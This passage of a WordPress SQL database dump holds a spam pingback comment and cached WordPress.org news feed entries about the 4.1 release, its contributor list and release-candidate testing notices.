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INSERT INTO `wp_comments` VALUES (1,1399,'Acquista Oakley','','http://www.le-calle.it/category/occhiali-oakley-outlet/acquista-oakley/','174.139.79.162','2014-05-28 00:18:00','2014-05-28 00:18:00','<strong>Acquista Oakley...</strong>\n\nI\'ll right away clutch your rss feed as I can\'t find your e-mail subscription hyperlink or newsletter service. Do you\'ve any? Kindly let me know in order that I may just subscribe. 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Check out some of their profiles while listening to Dinah Washington on the music service of your choice:</p>\n<a href=\"https://profiles.wordpress.org/aaroncampbell\">Aaron D. Campbell</a>, <a href=\"https://profiles.wordpress.org/jorbin\">Aaron Jorbin</a>, <a href=\"https://profiles.wordpress.org/adamsilverstein\">Adam Silverstein</a>, <a href=\"https://profiles.wordpress.org/akumria\">akumria</a>, <a href=\"https://profiles.wordpress.org/xknown\">Alex Concha</a>, <a href=\"https://profiles.wordpress.org/viper007bond\">Alex Mills (Viper007Bond)</a>, <a href=\"https://profiles.wordpress.org/collinsinternet\">Allan Collins</a>, <a href=\"https://profiles.wordpress.org/momo360modena\">Amaury Balmer</a>, <a href=\"https://profiles.wordpress.org/amruta123b\">Amruta Bhosale</a>, <a href=\"https://profiles.wordpress.org/afercia\">Andrea Fercia</a>, <a href=\"https://profiles.wordpress.org/andg\">Andrea Gandino</a>, <a href=\"https://profiles.wordpress.org/sumobi\">Andrew Munro (sumobi)</a>, <a href=\"https://profiles.wordpress.org/nacin\">Andrew Nacin</a>, <a href=\"https://profiles.wordpress.org/azaozz\">Andrew Ozz</a>, <a href=\"https://profiles.wordpress.org/andrewryno\">Andrew Ryno</a>, <a href=\"https://profiles.wordpress.org/rarst\">Andrey \"Rarst\" Savchenko</a>, <a href=\"https://profiles.wordpress.org/ankitgadertcampcom\">Ankit Gade</a>, <a href=\"https://profiles.wordpress.org/ankit-k-gupta\">Ankit K Gupta</a>, <a href=\"https://profiles.wordpress.org/antpb\">Anthony Burchell</a>, <a href=\"https://profiles.wordpress.org/arippberger\">arippberger</a>, <a href=\"https://profiles.wordpress.org/filosofo\">Austin Matzko</a>, <a href=\"https://profiles.wordpress.org/bainternet\">Bainternet</a>, <a href=\"https://profiles.wordpress.org/barrykooij\">Barry Kooij</a>, <a href=\"https://profiles.wordpress.org/empireoflight\">Ben Dunkle</a>, <a href=\"https://profiles.wordpress.org/benjmay\">Ben May</a>, <a href=\"https://profiles.wordpress.org/neoxx\">Bernhard Riedl</a>, <a href=\"https://profiles.wordpress.org/birgire\">Birgir Erlendsson (birgire)</a>, <a href=\"https://profiles.wordpress.org/bobbingwide\">bobbingwide</a>, <a href=\"https://profiles.wordpress.org/bradyvercher\">Brady Vercher</a>, <a href=\"https://profiles.wordpress.org/bramd\">Bram Duvigneau</a>, <a href=\"https://profiles.wordpress.org/kraftbj\">Brandon Kraft</a>, <a href=\"https://profiles.wordpress.org/briandichiara\">Brian DiChiara</a>, <a href=\"https://profiles.wordpress.org/rzen\">Brian Richards</a>, <a href=\"https://profiles.wordpress.org/bswatson\">Brian Watson</a>, <a href=\"https://profiles.wordpress.org/camdensegal\">Camden Segal</a>, <a href=\"https://profiles.wordpress.org/captaintheme\">Captain Theme</a>, <a href=\"https://profiles.wordpress.org/hiwhatsup\">Carlos</a>, <a href=\"https://profiles.wordpress.org/caspie\">Caspie</a>, <a href=\"https://profiles.wordpress.org/ccprice\">ccprice</a>, <a href=\"https://profiles.wordpress.org/mackensen\">Charles Fulton</a>, <a href=\"https://profiles.wordpress.org/chrico\">ChriCo</a>, <a href=\"https://profiles.wordpress.org/aprea\">Chris Aprea</a>, <a href=\"https://profiles.wordpress.org/ehg\">Chris Blower</a>, <a href=\"https://profiles.wordpress.org/chrisbliss18\">Chris Jean</a>, <a href=\"https://profiles.wordpress.org/cmmarslender\">Chris Marslender</a>, <a href=\"https://profiles.wordpress.org/jazzs3quence\">Chris Reynolds</a>, <a href=\"https://profiles.wordpress.org/chriscct7\">chriscct7</a>, <a href=\"https://profiles.wordpress.org/chrisl27\">chrisl27</a>, <a href=\"https://profiles.wordpress.org/cfoellmann\">Christian Foellmann</a>, <a href=\"https://profiles.wordpress.org/cfinke\">Christopher Finke</a>, <a href=\"https://profiles.wordpress.org/cyclometh\">Corey Snow</a>, <a href=\"https://profiles.wordpress.org/corphi\">Corphi</a>, <a href=\"https://profiles.wordpress.org/curtjen\">curtjen</a>, <a href=\"https://profiles.wordpress.org/colorful-tones\">Damon Cook</a>, <a href=\"https://profiles.wordpress.org/dancameron\">Dan Cameron</a>, <a href=\"https://profiles.wordpress.org/danielbachhuber\">Daniel Bachhuber</a>, <a href=\"https://profiles.wordpress.org/convissor\">Daniel Convissor</a>, <a href=\"https://profiles.wordpress.org/nerrad\">Darren Ethier (nerrad)</a>, <a href=\"https://profiles.wordpress.org/koop\">Daryl Koopersmith</a>, <a href=\"https://profiles.wordpress.org/dmchale\">Dave McHale</a>, <a href=\"https://profiles.wordpress.org/davidakennedy\">David A. Kennedy</a>, <a href=\"https://profiles.wordpress.org/dlh\">David Herrera</a>, <a href=\"https://profiles.wordpress.org/davidjlaietta\">David Laietta</a>, <a href=\"https://profiles.wordpress.org/technical_mastermind\">David Wood</a>, <a href=\"https://profiles.wordpress.org/davidthemachine\">DavidTheMachine</a>, <a href=\"https://profiles.wordpress.org/dcavins\">dcavins</a>, <a href=\"https://profiles.wordpress.org/realloc\">Dennis Ploetner</a>, <a href=\"https://profiles.wordpress.org/dd32\">Dion Hulse</a>, <a href=\"https://profiles.wordpress.org/wedi\">Dirk Weise</a>, <a href=\"https://profiles.wordpress.org/ocean90\">Dominik Schilling</a>, <a href=\"https://profiles.wordpress.org/dominikschwind-1\">Dominik Schwind</a>, <a href=\"https://profiles.wordpress.org/drewapicture\">Drew Jaynes</a>, <a href=\"https://profiles.wordpress.org/dustyf\">Dustin Filippini</a>, <a href=\"https://profiles.wordpress.org/dustinhartzler\">Dustin Hartzler</a>, <a href=\"https://profiles.wordpress.org/eliorivero\">Elio Rivero</a>, <a href=\"https://profiles.wordpress.org/ebinnion\">Eric Binnion</a>, <a href=\"https://profiles.wordpress.org/ew_holmes\">Eric Holmes</a>, <a href=\"https://profiles.wordpress.org/ericlewis\">Eric Lewis</a>, <a href=\"https://profiles.wordpress.org/ethitter\">Erick Hitter</a>, <a href=\"https://profiles.wordpress.org/fab1en\">Fabien Quatravaux</a>, <a href=\"https://profiles.wordpress.org/florianziegler\">Florian Ziegler</a>, <a href=\"https://profiles.wordpress.org/hereswhatidid\">Gabe Shackle</a>, <a href=\"https://profiles.wordpress.org/garyc40\">Gary Cao</a>, <a href=\"https://profiles.wordpress.org/pento\">Gary Pendergast</a>, <a href=\"https://profiles.wordpress.org/soulseekah\">Gennady Kovshenin</a>, <a href=\"https://profiles.wordpress.org/babbardel\">George Olaru</a>, <a href=\"https://profiles.wordpress.org/georgestephanis\">George Stephanis</a>, <a href=\"https://profiles.wordpress.org/gregrickaby\">Greg Rickaby</a>, <a href=\"https://profiles.wordpress.org/gcorne\">Gregory Cornelius</a>, <a href=\"https://profiles.wordpress.org/tivnet\">Gregory Karpinsky (@tivnet)</a>, <a href=\"https://profiles.wordpress.org/bordoni\">Gustavo Bordoni</a>, <a href=\"https://profiles.wordpress.org/hardy101\">hardy101</a>, <a href=\"https://profiles.wordpress.org/hauvong\">hauvong</a>, <a href=\"https://profiles.wordpress.org/helen\">Helen Hou-Sandí</a>, <a href=\"https://profiles.wordpress.org/heshiming\">heshiming</a>, <a href=\"https://profiles.wordpress.org/honeysilvas\">honeysilvas</a>, <a href=\"https://profiles.wordpress.org/hugodelgado\">hugodelgado</a>, <a href=\"https://profiles.wordpress.org/ianmjones\">ianmjones</a>, <a href=\"https://profiles.wordpress.org/igmoweb\">Ignacio Cruz Moreno</a>, <a href=\"https://profiles.wordpress.org/imath\">imath</a>, <a href=\"https://profiles.wordpress.org/ipstenu\">Ipstenu (Mika Epstein)</a>, <a href=\"https://profiles.wordpress.org/ivankristianto\">Ivan Kristianto</a>, <a href=\"https://profiles.wordpress.org/jdgrimes\">J.D. Grimes</a>, <a href=\"https://profiles.wordpress.org/jaimieolmstead\">jaimieolmstead</a>, <a href=\"https://profiles.wordpress.org/jakubtyrcha\">jakub.tyrcha</a>, <a href=\"https://profiles.wordpress.org/janhenckens\">janhenckens</a>, <a href=\"https://profiles.wordpress.org/avryl\">Janneke Van Dorpe</a>, <a href=\"https://profiles.wordpress.org/japh\">Japh</a>, <a href=\"https://profiles.wordpress.org/jwenerd\">Jared Wenerd</a>, <a href=\"https://profiles.wordpress.org/jarednova\">jarednova</a>, <a href=\"https://profiles.wordpress.org/jeanyoungkim\">jeanyoungkim</a>, <a href=\"https://profiles.wordpress.org/jfarthing84\">Jeff Farthing</a>, <a href=\"https://profiles.wordpress.org/jeffstieler\">Jeff Stieler</a>, <a href=\"https://profiles.wordpress.org/jeremyfelt\">Jeremy Felt</a>, <a href=\"https://profiles.wordpress.org/jeherve\">Jeremy Herve</a>, <a href=\"https://profiles.wordpress.org/jesin\">Jesin A</a>, <a href=\"https://profiles.wordpress.org/jayjdk\">Jesper Johansen (jayjdk)</a>, <a href=\"https://profiles.wordpress.org/engelen\">Jesper van Engelen</a>, <a href=\"https://profiles.wordpress.org/jessepollak\">Jesse Pollak</a>, <a href=\"https://profiles.wordpress.org/jipmoors\">jipmoors</a>, <a href=\"https://profiles.wordpress.org/joemcgill\">Joe McGill</a>, <a href=\"https://profiles.wordpress.org/johneckman\">John Eckman</a>, <a href=\"https://profiles.wordpress.org/johnrom\">johnrom</a>, <a href=\"https://profiles.wordpress.org/johnstonphilip\">johnstonphilip</a>, <a href=\"https://profiles.wordpress.org/jb510\">Jon Brown</a>, <a href=\"https://profiles.wordpress.org/duck_\">Jon Cave</a>, <a href=\"https://profiles.wordpress.org/jbrinley\">Jonathan Brinley</a>, <a href=\"https://profiles.wordpress.org/desrosj\">Jonathan Desrosiers</a>, <a href=\"https://profiles.wordpress.org/joostdevalk\">Joost de Valk</a>, <a href=\"https://profiles.wordpress.org/softmodeling\">Jordi Cabot</a>, <a href=\"https://profiles.wordpress.org/joshuaabenazer\">Joshua Abenazer</a>, <a href=\"https://profiles.wordpress.org/tai\">JOTAKI Taisuke</a>, <a href=\"https://profiles.wordpress.org/jrf\">jrf</a>, <a href=\"https://profiles.wordpress.org/julien731\">Julien Liabeuf</a>, <a href=\"https://profiles.wordpress.org/justinsainton\">Justin Sainton</a>, <a href=\"https://profiles.wordpress.org/jtsternberg\">Justin Sternberg</a>, <a href=\"https://profiles.wordpress.org/kadamwhite\">K.Adam White</a>, <a href=\"https://profiles.wordpress.org/trepmal\">Kailey (trepmal)</a>, <a href=\"https://profiles.wordpress.org/kamelkev\">kamelkev</a>, <a href=\"https://profiles.wordpress.org/karpstrucking\">karpstrucking</a>, <a href=\"https://profiles.wordpress.org/keesiemeijer\">keesiemeijer</a>, <a href=\"https://profiles.wordpress.org/ryelle\">Kelly Dwan</a>, <a href=\"https://profiles.wordpress.org/kevinlangleyjr\">Kevin Langley</a>, <a href=\"https://profiles.wordpress.org/kdoran\">Kiko Doran</a>, <a href=\"https://profiles.wordpress.org/kpdesign\">Kim Parsell</a>, <a href=\"https://profiles.wordpress.org/kwight\">Kirk Wight</a>, <a href=\"https://profiles.wordpress.org/kitchin\">kitchin</a>, <a href=\"https://profiles.wordpress.org/ixkaito\">Kite</a>, <a href=\"https://profiles.wordpress.org/knutsp\">Knut Sparhell</a>, <a href=\"https://profiles.wordpress.org/kovshenin\">Konstantin Kovshenin</a>, <a href=\"https://profiles.wordpress.org/obenland\">Konstantin Obenland</a>, <a href=\"https://profiles.wordpress.org/kosvrouvas\">Kostas Vrouvas</a>, <a href=\"https://profiles.wordpress.org/kraftner\">kraftner</a>, <a href=\"https://profiles.wordpress.org/kristastevens\">kristastevens</a>, <a href=\"https://profiles.wordpress.org/kurtpayne\">Kurt Payne</a>, <a href=\"https://profiles.wordpress.org/lancewillett\">Lance Willett</a>, <a href=\"https://profiles.wordpress.org/offereins\">Laurens Offereins</a>, <a href=\"https://profiles.wordpress.org/linuxologos\">linuxologos</a>, <a href=\"https://profiles.wordpress.org/ideag\">Liuiza Arunas</a>, <a href=\"https://profiles.wordpress.org/loushou\">loushou</a>, <a href=\"https://profiles.wordpress.org/latz\">Lutz Schroer</a>, <a href=\"https://profiles.wordpress.org/manoz69\">Manoz69</a>, <a href=\"https://profiles.wordpress.org/mantismamita\">mantismamita</a>, <a href=\"https://profiles.wordpress.org/marcosf\">Marco Schmoecker</a>, <a href=\"https://profiles.wordpress.org/nofearinc\">Mario Peshev</a>, <a href=\"https://profiles.wordpress.org/clorith\">Marius (Clorith)</a>, <a href=\"https://profiles.wordpress.org/landakram\">Mark Hudnall</a>, <a href=\"https://profiles.wordpress.org/markjaquith\">Mark Jaquith</a>, <a href=\"https://profiles.wordpress.org/senff\">Mark Senff</a>, <a href=\"https://profiles.wordpress.org/markoheijnen\">Marko Heijnen</a>, <a href=\"https://profiles.wordpress.org/marsjaninzmarsa\">marsjaninzmarsa</a>, <a href=\"https://profiles.wordpress.org/matt\">Matt Mullenweg</a>, <a href=\"https://profiles.wordpress.org/mattwiebe\">Matt Wiebe</a>, <a href=\"https://profiles.wordpress.org/mboynes\">Matthew Boynes</a>, <a href=\"https://profiles.wordpress.org/mattheu\">Matthew Haines-Young</a>, <a href=\"https://profiles.wordpress.org/mattkeys\">mattkeys</a>, <a href=\"https://profiles.wordpress.org/matveb\">Matías Ventura</a>, <a href=\"https://profiles.wordpress.org/mlteal\">Maura Teal</a>, <a href=\"https://profiles.wordpress.org/melchoyce\">Mel Choyce</a>, <a href=\"https://profiles.wordpress.org/merty\">Mert Yazicioglu</a>, <a href=\"https://profiles.wordpress.org/mdawaffe\">Michael Adams (mdawaffe)</a>, <a href=\"https://profiles.wordpress.org/michael-arestad\">Michael Arestad</a>, <a href=\"https://profiles.wordpress.org/tw2113\">Michael Beckwith</a>, <a href=\"https://profiles.wordpress.org/cainm\">Michael Cain</a>, <a href=\"https://profiles.wordpress.org/smashcut\">Michael Pick</a>, <a href=\"https://profiles.wordpress.org/michalzuber\">michalzuber</a>, <a href=\"https://profiles.wordpress.org/chellycat\">Michelle Langston</a>, <a href=\"https://profiles.wordpress.org/mcsf\">Miguel Fonseca</a>, <a href=\"https://profiles.wordpress.org/mikehansenme\">Mike Hansen</a>, <a href=\"https://profiles.wordpress.org/mikejolley\">Mike Jolley</a>, <a href=\"https://profiles.wordpress.org/mnelson4\">Mike Nelson</a>, <a href=\"https://profiles.wordpress.org/dh-shredder\">Mike Schroder</a>, <a href=\"https://profiles.wordpress.org/mikeyarce\">Mikey Arce</a>, <a href=\"https://profiles.wordpress.org/studionashvegas\">Mitch Canter (studionashvegas)</a>, <a href=\"https://profiles.wordpress.org/morganestes\">Morgan Estes</a>, <a href=\"https://profiles.wordpress.org/mor10\">Morten Rand-Hendriksen</a>, <a href=\"https://profiles.wordpress.org/mvd7793\">mvd7793</a>, <a href=\"https://profiles.wordpress.org/alex-ye\">Nashwan Doaqan</a>, <a href=\"https://profiles.wordpress.org/niallkennedy\">Niall Kennedy</a>, <a href=\"https://profiles.wordpress.org/nikv\">Nikhil Vimal (NikV)</a>, <a href=\"https://profiles.wordpress.org/nikolovtmw\">Nikola Nikolov</a>, <a href=\"https://profiles.wordpress.org/nobleclem\">nobleclem</a>, <a href=\"https://profiles.wordpress.org/noplanman\">noplanman</a>, <a href=\"https://profiles.wordpress.org/nvwd\">Nowell VanHoesen</a>, <a href=\"https://profiles.wordpress.org/originalexe\">OriginalEXE</a>, <a href=\"https://profiles.wordpress.org/p_enrique\">p_enrique</a>, <a href=\"https://profiles.wordpress.org/pushplaybang\">Paul</a>, <a href=\"https://profiles.wordpress.org/pauldewouters\">Paul de Wouters</a>, <a href=\"https://profiles.wordpress.org/paulschreiber\">Paul Schreiber</a>, <a href=\"https://profiles.wordpress.org/paulwilde\">Paul Wilde</a>, <a href=\"https://profiles.wordpress.org/pavelevap\">pavelevap</a>, <a href=\"https://profiles.wordpress.org/peterchester\">Peter Chester</a>, <a href=\"https://profiles.wordpress.org/donutz\">Peter J. Herrel</a>, <a href=\"https://profiles.wordpress.org/westi\">Peter Westwood</a>, <a href=\"https://profiles.wordpress.org/peterwilsoncc\">Peter Wilson</a>, <a href=\"https://profiles.wordpress.org/philiparthurmoore\">Philip Arthur Moore</a>, <a href=\"https://profiles.wordpress.org/phpmypython\">phpmypython</a>, <a href=\"https://profiles.wordpress.org/mordauk\">Pippin Williamson</a>, <a href=\"https://profiles.wordpress.org/nprasath002\">Prasath Nadarajah</a>, <a href=\"https://profiles.wordpress.org/psycleuk\">psycleuk</a>, <a href=\"https://profiles.wordpress.org/ptahdunbar\">Ptah Dunbar</a>, <a href=\"https://profiles.wordpress.org/quietnic\">quietnic</a>, <a href=\"https://profiles.wordpress.org/rachelbaker\">Rachel Baker</a>, <a href=\"https://profiles.wordpress.org/ramiy\">Rami Yushuvaev</a>, <a href=\"https://profiles.wordpress.org/ramiabraham\">ramiabraham</a>, <a href=\"https://profiles.wordpress.org/greuben\">Reuben Gunday</a>, <a href=\"https://profiles.wordpress.org/rianrietveld\">Rian Rietveld</a>, <a href=\"https://profiles.wordpress.org/richardmtl\">Richard Archambault</a>, <a href=\"https://profiles.wordpress.org/rickalee\">Ricky Lee Whittemore</a>, <a href=\"https://profiles.wordpress.org/miqrogroove\">Robert Chapin</a>, <a href=\"https://profiles.wordpress.org/rodrigosprimo\">Rodrigo Primo</a>, <a href=\"https://profiles.wordpress.org/ryan\">Ryan Boren</a>, <a href=\"https://profiles.wordpress.org/ryankienstra\">Ryan Kienstra</a>, <a href=\"https://profiles.wordpress.org/rmccue\">Ryan McCue</a>, <a href=\"https://profiles.wordpress.org/sakinshrestha\">Sakin Shrestha</a>, <a href=\"https://profiles.wordpress.org/samhotchkiss\">Sam Hotchkiss</a>, <a href=\"https://profiles.wordpress.org/otto42\">Samuel Wood (Otto)</a>, <a href=\"https://profiles.wordpress.org/sc0ttkclark\">Scott Kingsley Clark</a>, <a href=\"https://profiles.wordpress.org/coffee2code\">Scott Reilly</a>, <a href=\"https://profiles.wordpress.org/wonderboymusic\">Scott Taylor</a>, <a href=\"https://profiles.wordpress.org/sergeybiryukov\">Sergey Biryukov</a>, <a href=\"https://profiles.wordpress.org/shaunandrews\">Shaun Andrews</a>, <a href=\"https://profiles.wordpress.org/shooper\">Shawn Hooper</a>, <a href=\"https://profiles.wordpress.org/simonp303\">Simon Pollard</a>, <a href=\"https://profiles.wordpress.org/simonwheatley\">Simon Wheatley</a>, <a href=\"https://profiles.wordpress.org/skaeser\">skaeser</a>, <a href=\"https://profiles.wordpress.org/slobodanmanic\">Slobodan Manic</a>, <a href=\"https://profiles.wordpress.org/socki03\">socki03</a>, <a href=\"https://profiles.wordpress.org/solarissmoke\">solarissmoke</a>, <a href=\"https://profiles.wordpress.org/netweb\">Stephen Edgar</a>, <a href=\"https://profiles.wordpress.org/stephenharris\">Stephen Harris</a>, <a href=\"https://profiles.wordpress.org/stevegrunwell\">Steve Grunwell</a>, <a href=\"https://profiles.wordpress.org/5um17\">Sumit Singh</a>, <a href=\"https://profiles.wordpress.org/tacoverdo\">TacoVerdo</a>, <a href=\"https://profiles.wordpress.org/miyauchi\">Takayuki Miyauchi</a>, <a href=\"https://profiles.wordpress.org/karmatosed\">Tammie</a>, <a href=\"https://profiles.wordpress.org/tareq1988\">Tareq Hasan</a>, <a href=\"https://profiles.wordpress.org/tlovett1\">Taylor Lovett</a>, <a href=\"https://profiles.wordpress.org/ipm-frommen\">Thorsten Frommen</a>, <a href=\"https://profiles.wordpress.org/tillkruess\">Till Kruss</a>, <a href=\"https://profiles.wordpress.org/tschutter\">Tobias Schutter</a>, <a href=\"https://profiles.wordpress.org/tobiasbg\">TobiasBg</a>, <a href=\"https://profiles.wordpress.org/tmtrademark\">Toby McKes</a>, <a href=\"https://profiles.wordpress.org/tjnowell\">Tom J Nowell</a>, <a href=\"https://profiles.wordpress.org/tomasm\">Tomas Mackevicius</a>, <a href=\"https://profiles.wordpress.org/tomharrigan\">TomHarrigan</a>, <a href=\"https://profiles.wordpress.org/topher1kenobe\">Topher</a>, <a href=\"https://profiles.wordpress.org/zodiac1978\">Torsten Landsiedel</a>, <a href=\"https://profiles.wordpress.org/liljimmi\">Tracy Levesque</a>, <a href=\"https://profiles.wordpress.org/transom\">transom</a>, <a href=\"https://profiles.wordpress.org/wpsmith\">Travis Smith</a>, <a href=\"https://profiles.wordpress.org/tywayne\">Ty Carlson</a>, <a href=\"https://profiles.wordpress.org/desaiuditd\">Udit Desai</a>, <a href=\"https://profiles.wordpress.org/umeshsingla\">Umesh Kumar</a>, <a href=\"https://profiles.wordpress.org/vinod-dalvi\">Vinod Dalvi</a>, <a href=\"https://profiles.wordpress.org/vlajos\">vlajos</a>, <a href=\"https://profiles.wordpress.org/voldemortensen\">voldemortensen</a>, <a href=\"https://profiles.wordpress.org/westonruter\">Weston Ruter</a>, <a href=\"https://profiles.wordpress.org/yoavf\">Yoav Farhi</a>, <a href=\"https://profiles.wordpress.org/nobinobi\">Yuta Sekine</a>, <a href=\"https://profiles.wordpress.org/zrothauser\">Zack Rothauser</a>, and <a href=\"https://profiles.wordpress.org/tollmanz\">Zack Tollman</a>.\n<p>There were 283 contributors to this release, again a new high.</p>\n<p>If you want to help out or follow along, check out <a href=\"https://make.wordpress.org/\">Make WordPress</a> and our <a href=\"https://make.wordpress.org/core/\">core development blog</a>.</p>\n<p>Thanks for choosing WordPress. Happy holidays and see you next year for version 4.2!</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:46:\"https://wordpress.org/news/2014/12/dinah/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:1;a:6:{s:4:\"data\";s:45:\"\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"WordPress 4.1 Release Candidate 3\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:69:\"https://wordpress.org/news/2014/12/wordpress-4-1-release-candidate-3/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:78:\"https://wordpress.org/news/2014/12/wordpress-4-1-release-candidate-3/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 18 Dec 2014 02:22:15 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:2:{i:0;a:5:{s:4:\"data\";s:11:\"Development\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}i:1;a:5:{s:4:\"data\";s:8:\"Releases\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"http://wordpress.org/news/?p=3411\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:429:\"The next release candidate for WordPress 4.1 is now available for testing. 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With no known issues left, we plan to release 4.1 tomorrow, December 18.</p>\n<p>To test, try the <a href=\"https://wordpress.org/plugins/wordpress-beta-tester/\">WordPress Beta Tester</a> plugin (you&#8217;ll want &#8220;bleeding edge nightlies&#8221;). Or you can <a href=\"https://wordpress.org/wordpress-4.1-RC3.zip\">download the release candidate here</a> (zip). If you&#8217;d like to learn more about what&#8217;s new in WordPress 4.1, visit the updated About screen in your dashboard (<strong><img src=\"https://i0.wp.com/core.svn.wordpress.org/branches/3.6/wp-content/themes/twentyten/images/wordpress.png\" alt=\"\" width=\"16\" height=\"16\" /> → About</strong> in the toolbar) and also check out <a href=\"https://wordpress.org/news/2014/11/wordpress-4-1-beta-1/\">the Beta 1 post</a>.</p>\n<p><strong>Plugin authors:</strong> Remember to test your plugins against 4.1, and if they&#8217;re compatible, make sure they are marked as tested up to 4.1. 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We hope to ship WordPress 4.1 on Tuesday, December 16, but we need your help to get there. If you haven’t tested 4.1 yet, now is the time! (Please though, not on your live site unless you’re adventurous.)</p>\n<p><strong>Think you&#8217;ve found a bug?</strong> Please post to the <a href=\"https://wordpress.org/support/forum/alphabeta/\">Alpha/Beta support forum</a>. If any known issues come up, you&#8217;ll be able to <a href=\"https://core.trac.wordpress.org/report/5\">find them here</a>.</p>\n<p>To test WordPress 4.1 RC1, you can use the <a href=\"https://wordpress.org/plugins/wordpress-beta-tester/\">WordPress Beta Tester</a> plugin or you can <a href=\"https://wordpress.org/wordpress-4.1-RC1.zip\">download the release candidate here</a> (zip). If you&#8217;d like to learn more about what&#8217;s new in WordPress 4.1, visit the About screen in your dashboard (<strong><img src=\"https://i0.wp.com/core.svn.wordpress.org/branches/3.6/wp-content/themes/twentyten/images/wordpress.png\" alt=\"\" width=\"16\" height=\"16\" /> → About</strong> in the toolbar) or check out the <a href=\"https://wordpress.org/news/2014/11/wordpress-4-1-beta-1/\">beta announcement</a>.</p>\n<p><strong>Developers</strong>, please test your plugins and themes against WordPress 4.1 and update your plugin&#8217;s <em>Tested up to</em> version in the readme to 4.1 before next week. If you find compatibility problems, we never want to break things, so please be sure to post to the support forums so we can figure those out before the final release.</p>\n<p>Be sure to <a href=\"https://make.wordpress.org/core/\">follow along the core development blog</a>, where we&#8217;ll continue to post <a href=\"https://make.wordpress.org/core/tag/4-1-dev-notes/\">notes for developers</a> for 4.1. (For example: if you&#8217;ve written a child theme for Twenty Fifteen, some of the new pagination functions have been renamed for clarity.)</p>\n<p><em>Testing four point one</em><br />\n<em>Why are we up at this hour?</em><br />\n<em>Code is poetry</em></p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:72:\"https://wordpress.org/news/2014/12/wordpress-4-1-release-candidate/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:3;a:6:{s:4:\"data\";s:45:\"\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:32:\"WordPress 4.0.1 Security Release\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:51:\"https://wordpress.org/news/2014/11/wordpress-4-0-1/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"https://wordpress.org/news/2014/11/wordpress-4-0-1/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 20 Nov 2014 18:55:18 